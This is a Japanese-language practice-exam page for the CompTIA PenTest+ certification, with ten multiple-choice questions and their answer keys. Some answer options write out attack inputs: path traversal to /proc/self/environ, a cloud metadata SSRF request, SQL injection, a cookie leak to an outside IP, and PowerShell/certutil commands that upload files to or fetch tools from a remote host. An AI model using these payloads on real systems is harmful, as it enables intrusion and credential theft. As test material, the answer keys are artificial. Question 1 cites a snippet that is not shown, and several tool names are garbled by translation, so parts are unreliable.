PT0-002日本語 Exam Training Practice Tests (CompTIA PenTest+ Certification (PT0-002日本語版))]

Question 1

次の PowerShell スニペットは、攻撃者のマシンのログから抽出されたものです。

侵入テスターは、アレイの存在を特定したいと考えています。次の行番号のうち、配列を定義するのはどれですか?

A. 20行目 B. 13行目 C. 19行目 D. 8行目

Correct Answer: D

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 2

ペネトレーションテスターは、laaS コンピューティングインスタンスで実行されている Web アプリケーションのセキュリティをレビューしています。実行中のプロセスの認証情報を取得するためにテスターは次のペイロードのうちどれを送信する必要がありますか?

A. file =.. / .. / .. /proc/self/environ B. file=http://192.168. 1. 78?+document.cookie C. file='%20or%2054365=54365 ;-- D. file=http://169.254.169.254/latest/meta-data/

Correct Answer: D

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 3

ペネトレーションテスターは、デフォルト構成の Windows サーバー上で権限の低いシェルを取得し、誤って構成されたサービス権限を悪用する機能を調査したいと考えています。
次のコマンドのうち、テスターがこのプロセスを開始するのに役立つものはどれですか?

A. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt') B. schtasks /query /fo LIST /v | find /I "Next Run Time:" C. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

Correct Answer: C

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 4

特定のネットワークインフラストラクチャ製品に対するペイロードを取得するための最適なリソースは次のうちどれですか?

A. Exploit-DB B. 初段 C. 網膜 D. メタスプロイト

Correct Answer: A

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 5

侵入テスターは、評価対象の会社によって作成されたさまざまなソフトウェア製品の分析を完了しました。テスターは、開発中の有機的なコードの品質が非常に優れているにもかかわらず、過去数年間、同社が脆弱なサードパーティ製モジュールを複数の製品に組み込んでいることを発見しました. 侵入テスターがレポートに含める必要がある推奨事項は次のうちどれですか?

A. デプロイ前に API セキュリティ設定を検証します。 B. 依存関係チェッカーをツールチェーンに追加します。 C. コミットされたコードの定期的な静的および動的分析を実行します。 D. コンパイルされたバイナリのファズテストを実行します。

Correct Answer: B

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 6

ある企業は、ネットワーク上でワイヤレス IDS を構成するためにペネトレーションテスターを採用しました。次のツールのうち、ワイヤレス IDS ソリューションの有効性をテストするのに最も適しているのはどれですか?

A. ワイファイテ B. エアクラッキング C. キスメット D. ワイヤーシャーク

Correct Answer: B

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 7

セキュリティアナリストが、データベースサーバーを備えたオンラインストアの侵入テストを実施しています。テスターがそのサーバーの脆弱性を検出するのに最も役立つツールは次のどれですか。

A. バープスイート B. SQLマップ C. ネッスス D. ニクト

Correct Answer: B

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 8

侵入テストツールからの出力は、不適切なパッチ管理による検出結果が 100 個のホストに含まれていることを示しています。侵入テスターが実行したのは次のうちどれですか?

A. Nmap スキャン B. WHOIS ルックアップ C. 脆弱性スキャン D. パケットキャプチャ

Correct Answer: C

Explanation: Only visible for TrainingDump members. You can sign-up / login (it's free).

Question 9

ペネトレーションテスターは、銀行の最近のペネトレーションテストに固有の欠陥を悪用しました。テストが完了した後、テスターはエクスプロイトに関する情報を、エクスプロイトされたマシンの IP アドレスとともにオンラインに投稿しました。次のドキュメントのうち、侵入テスターにこのアクションの責任を負わせることができるのはどれですか?

A. SLA B. NDA C. MSA D. ROE

Correct Answer: B

Question 10

侵入テスターは、MITRE ATT&CK フレームワークを企業の主任法律顧問に説明しています。
テスターがフレームワークの利点として最もよく説明するのは、次のうちどれですか?

A. この方法論を使用して、インシデントのコストをより適切に見積もることができます。 B. フレームワークの一部であるスクリプトは、SIEM ツールに直接インポートできます。 C. フレームワークは静的であり、セキュリティプログラムの長期にわたる安定性を保証します。 D. セキュリティ侵害の戦術を理解することは、それらを混乱させるのに役立ちます。

Correct Answer: D

CompTIA PenTest+ Certification (PT0-002日本語版) - PT0-002日本語 Exam Practice Test